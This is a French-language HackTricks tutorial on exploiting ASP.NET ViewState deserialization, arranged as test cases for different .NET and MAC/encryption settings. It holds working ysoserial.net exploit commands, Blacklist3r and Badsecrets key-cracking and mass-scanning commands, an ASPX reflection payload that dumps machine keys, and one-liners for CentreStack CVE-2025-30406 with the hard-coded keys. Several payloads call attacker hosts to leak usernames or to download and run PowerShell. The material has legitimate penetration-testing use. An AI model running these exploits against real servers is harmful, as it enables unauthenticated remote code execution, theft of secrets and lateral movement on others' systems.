Exploiter __VIEWSTATE sans connaître les secrets

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que ViewState

ViewState sert de mécanisme par défaut dans ASP.NET pour conserver les données de la page et des contrôles entre les pages web. Lors du rendu du HTML d’une page, l’état courant de la page et les valeurs à préserver lors d’un postback sont sérialisés en chaînes encodées en base64. Ces chaînes sont ensuite placées dans des champs ViewState cachés.

Les informations ViewState peuvent être caractérisées par les propriétés suivantes ou leurs combinaisons :

  • Base64 :
  • Ce format est utilisé lorsque les attributs EnableViewStateMac et ViewStateEncryptionMode sont tous deux définis sur false.
  • Base64 + MAC (Message Authentication Code) Enabled :
  • L’activation du MAC se fait en mettant l’attribut EnableViewStateMac sur true. Cela fournit une vérification d’intégrité pour les données ViewState.
  • Base64 + Encrypted :
  • Le chiffrement est appliqué lorsque l’attribut ViewStateEncryptionMode est défini sur true, garantissant la confidentialité des données ViewState.

Cas de test

L’image est un tableau détaillant différentes configurations pour ViewState dans ASP.NET en fonction de la version du framework .NET. Voici un résumé du contenu :

  1. Pour toute version de .NET, lorsque MAC et le chiffrement sont désactivés, un MachineKey n’est pas requis, et il n’y a donc pas de méthode applicable pour l’identifier.
  2. Pour les versions antérieures à 4.5, si le MAC est activé mais le chiffrement ne l’est pas, un MachineKey est requis. La méthode pour identifier le MachineKey est appelée “Blacklist3r.”
  3. Pour les versions antérieures à 4.5, que le MAC soit activé ou non, si le chiffrement est activé, un MachineKey est nécessaire. L’identification du MachineKey est prévue pour “Blacklist3r - Future Development.”
  4. Pour les versions 4.5 et supérieures, toutes les combinaisons de MAC et de chiffrement (que les deux soient true, ou l’un true et l’autre false) nécessitent un MachineKey. Le MachineKey peut être identifié en utilisant “Blacklist3r.”

Cas de test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false

Il est aussi possible de désactiver complètement le ViewStateMAC en définissant la clé de registre AspNetEnforceViewStateMac à zéro dans:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifier les attributs ViewState

Vous pouvez essayer d’identifier si ViewState est protégé par un MAC en capturant une requête contenant ce paramètre avec BurpSuite. Si MAC n’est pas utilisé pour protéger le paramètre, vous pouvez l’exploiter en utilisant YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Les développeurs peuvent supprimer ViewState pour qu’il ne fasse pas partie d’une requête HTTP (l’utilisateur ne recevra pas ce cookie).
On pourrait supposer que si ViewState n’est pas présent, leur implémentation est sûre contre d’éventuelles vulnérabilités liées à la désérialisation de ViewState.
Cependant, ce n’est pas le cas. Si nous ajoutons le paramètre ViewState au corps de la requête et envoyons notre payload sérialisé créé avec ysoserial, nous pourrons toujours obtenir une code execution comme montré dans Case 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Nous pouvons également le faire pour l’application dans son ensemble en le configurant dans le fichier web.config comme indiqué ci-dessous :

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Comme le paramètre est protégé par un MAC cette fois-ci, pour exécuter l’attaque avec succès, nous devons d’abord récupérer la clé utilisée.

Vous pouvez essayer d’utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets est un autre outil qui peut identifier des machineKeys connus. Il est écrit en Python, donc contrairement à Blacklist3r, il n’a pas de dépendance Windows. Pour .NET viewstates, il existe une utilité “python blacklist3r”, qui est la manière la plus rapide de l’utiliser.

Il peut soit être fourni directement avec le viewstate et le generator :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ou, il peut se connecter directement à l’URL cible et tenter d’extraire le viewstate depuis le HTML :

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l’énumération de sous-domaines, le module badsecrets BBOT peut être utilisé :

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l’attaque en utilisant YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Dans les cas où le paramètre _VIEWSTATEGENERATOR n’est pas envoyé par le serveur, vous n’avez pas besoin de fournir le paramètre --generator mais ceux-ci :

--apppath="/" --path="/hello.aspx"

Exploitation de valeurs <machineKey> recyclées à grande échelle

Ink Dragon (2025) a démontré à quel point il est dangereux lorsque des administrateurs copient les blocs d’exemple <machineKey> publiés dans Microsoft docs, StackOverflow answers ou vendor blogs. Dès qu’une seule cible leaks ou réutilise ces clés à travers la farm, toutes les autres pages ASP.NET qui font confiance à ViewState peuvent être détournées à distance sans aucune vulnérabilité supplémentaire.

  1. Construire une wordlist candidate avec les paires validationKey/decryptionKey leak (par ex. scrape public repos, Microsoft blog posts, ou clés récupérées depuis un hôte de la farm) et la fournir à Blacklist3r/Badsecrets :
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

L’outil signe de manière itérative un blob __VIEWSTATE bénin avec chaque clé candidate jusqu’à ce que le serveur accepte le MAC, prouvant que la clé est valide. 2. Forger le ViewState malveillant une fois la paire de clés connue. Si le chiffrement est désactivé, vous n’avez besoin que du validationKey. Si le chiffrement est activé, incluez le decryptionKey correspondant pour que le payload survive au chemin decrypt → deserialize :

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Les opérateurs intègrent souvent des launchers résidant sur disque (par ex. PrintNotifyPotato, ShadowPad loaders, etc.) directement dans le payload car il s’exécute en tant que worker IIS (w3wp.exe). 3. Pivoter latéralement en recyclant le même <machineKey> sur des nœuds SharePoint/IIS siblings. Une fois qu’un serveur est compromis, vous pouvez rejouer la clé contre tous les autres serveurs qui n’ont jamais fait tourner leur configuration.

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

Dans ce cas il n’est pas connu si le paramètre est protégé par un MAC. Alors, la valeur est probablement chiffrée et vous aurez besoin du Machine Key pour chiffrer votre payload afin d’exploiter la vulnérabilité.

Dans ce cas le Blacklist3r module est en développement…

Avant .NET 4.5, ASP.NET peut accepter un paramètre non chiffré ___VIEWSTATE_ provenant des utilisateurs même si ViewStateEncryptionMode est réglé sur Always. ASP.NET vérifie seulement la présence du paramètre __VIEWSTATEENCRYPTED dans la requête. Si on supprime ce paramètre et qu’on envoie le payload non chiffré, il sera quand même traité.

Donc si les attaquants trouvent un moyen d’obtenir le Machinekey via une autre vuln comme file traversal, la commande YSoSerial.Net utilisée dans le Case 2 peut être utilisée pour réaliser du RCE via la vulnérabilité de désérialisation ViewState.

  • Supprimez le paramètre __VIEWSTATEENCRYPTED de la requête afin d’exploiter la vulnérabilité de désérialisation ViewState, sinon une erreur de validation MAC Viewstate sera renvoyée et l’exploit échouera.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Nous pouvons forcer l’utilisation du framework ASP.NET en spécifiant le paramètre ci‑dessous dans le fichier web.config comme montré ci‑dessous.

<httpRuntime targetFramework="4.5" />

Alternativement, cela peut être fait en spécifiant l’option ci-dessous à l’intérieur du paramètre machineKey du fichier web.config.

compatibilityMode="Framework45"

Comme dans l’exemple précédent, la valeur est chiffrée. Ensuite, pour envoyer un payload valide, l’attaquant a besoin de la clé.

Vous pouvez essayer d’utiliser Blacklist3r(AspDotNetWrapper.exe) pour trouver la clé utilisée :

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Pour une description plus détaillée d’IISDirPath et TargetPagePath, voir ici

Ou, avec Badsecrets (avec une valeur de generator) :

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Une fois qu’une Machine key valide est identifiée, l’étape suivante consiste à générer une payload sérialisée en utilisant YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si vous disposez de la valeur de __VIEWSTATEGENERATOR, vous pouvez essayer de utiliser le paramètre --generator avec cette valeur et omettre les paramètres --path et --apppath

Une exploitation réussie de la vulnérabilité de désérialisation de ViewState entraînera une requête out-of-band vers un serveur contrôlé par l’attaquant, qui inclura le nom d’utilisateur. Ce type d’exploit est démontré dans une preuve de concept (PoC) disponible via une ressource intitulée “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”. Pour plus de détails sur le fonctionnement du processus d’exploitation et sur l’utilisation d’outils comme Blacklist3r pour identifier le MachineKey, vous pouvez consulter le PoC of Successful Exploitation.

Test Case 6 – ViewStateUserKeys est utilisé

La propriété ViewStateUserKey peut être utilisée pour se défendre contre une attaque CSRF. Si une telle clé a été définie dans l’application et que nous essayons de générer le ViewState payload avec les méthodes décrites jusqu’à présent, le payload ne sera pas traité par l’application.
Vous devez utiliser un paramètre supplémentaire pour créer correctement le payload :

--viewstateuserkey="randomstringdefinedintheserver"

Résultat d’une exploitation réussie

Pour tous les cas de test, si le ViewState YSoSerial.Net payload fonctionne avec succès alors le serveur répond par “500 Internal server error” avec le contenu de réponse “The state information is invalid for this page and might be corrupted” et nous recevons la requête OOB.

Voir plus d’informations ici

Extraction des clés machine ASP.NET via Reflection (SharPyShell/SharePoint ToolShell)

Les attaquants qui peuvent téléverser ou exécuter du code ASPX arbitraire dans le web root cible peuvent récupérer directement les clés secrètes qui protègent __VIEWSTATE au lieu de les brute-forcer.
Un payload minimal qui leaks the keys exploite des classes internes .NET via Reflection :

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

La requête de la page affiche la ValidationKey, la DecryptionKey, l’algorithme de chiffrement et le mode de compatibilité ASP.NET. Ces valeurs peuvent maintenant être fournies directement à ysoserial.net pour créer un gadget __VIEWSTATE valide et signé:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Cette key-exfiltration primitive a été massivement exploitée contre des serveurs SharePoint sur site en 2025 (“ToolShell” – CVE-2025-53770/53771), mais elle est applicable à toute application ASP.NET où un attaquant peut exécuter du code côté serveur.

2024-2025 Scénarios d’exploitation réels et clés machine codées en dur

Microsoft “publicly disclosed machine keys” wave (déc. 2024 – févr. 2025)

Microsoft Threat Intelligence a signalé une exploitation massive de sites ASP.NET où le machineKey avait précédemment été leaked sur des sources publiques (GitHub gists, blog posts, paste sites). Des adversaires ont énuméré ces clés et généré des gadgets __VIEWSTATE valides avec la version 1.41 de ysoserial.net et les flags --minify et --islegacy pour contourner les limites de longueur des WAF :

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Les cibles qui continuent de réutiliser les mêmes clés statiques entre plusieurs fermes restent vulnérables indéfiniment ; une fois qu’elles migrent vers des valeurs AutoGenerate, la technique de spray ne fonctionne plus, donc privilégiez les anciens déploiements qui exposent encore du matériel codé en dur.

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys

Kudelski Security a découvert que plusieurs versions de CentreStack / Triofox étaient livrées avec des valeurs machineKey identiques, permettant une exécution de code distante non authentifiée via une falsification de ViewState (CVE-2025-30406).

Exploit en one-liner:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Corrigé dans CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – mettez à niveau ou remplacez immédiatement les clés.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks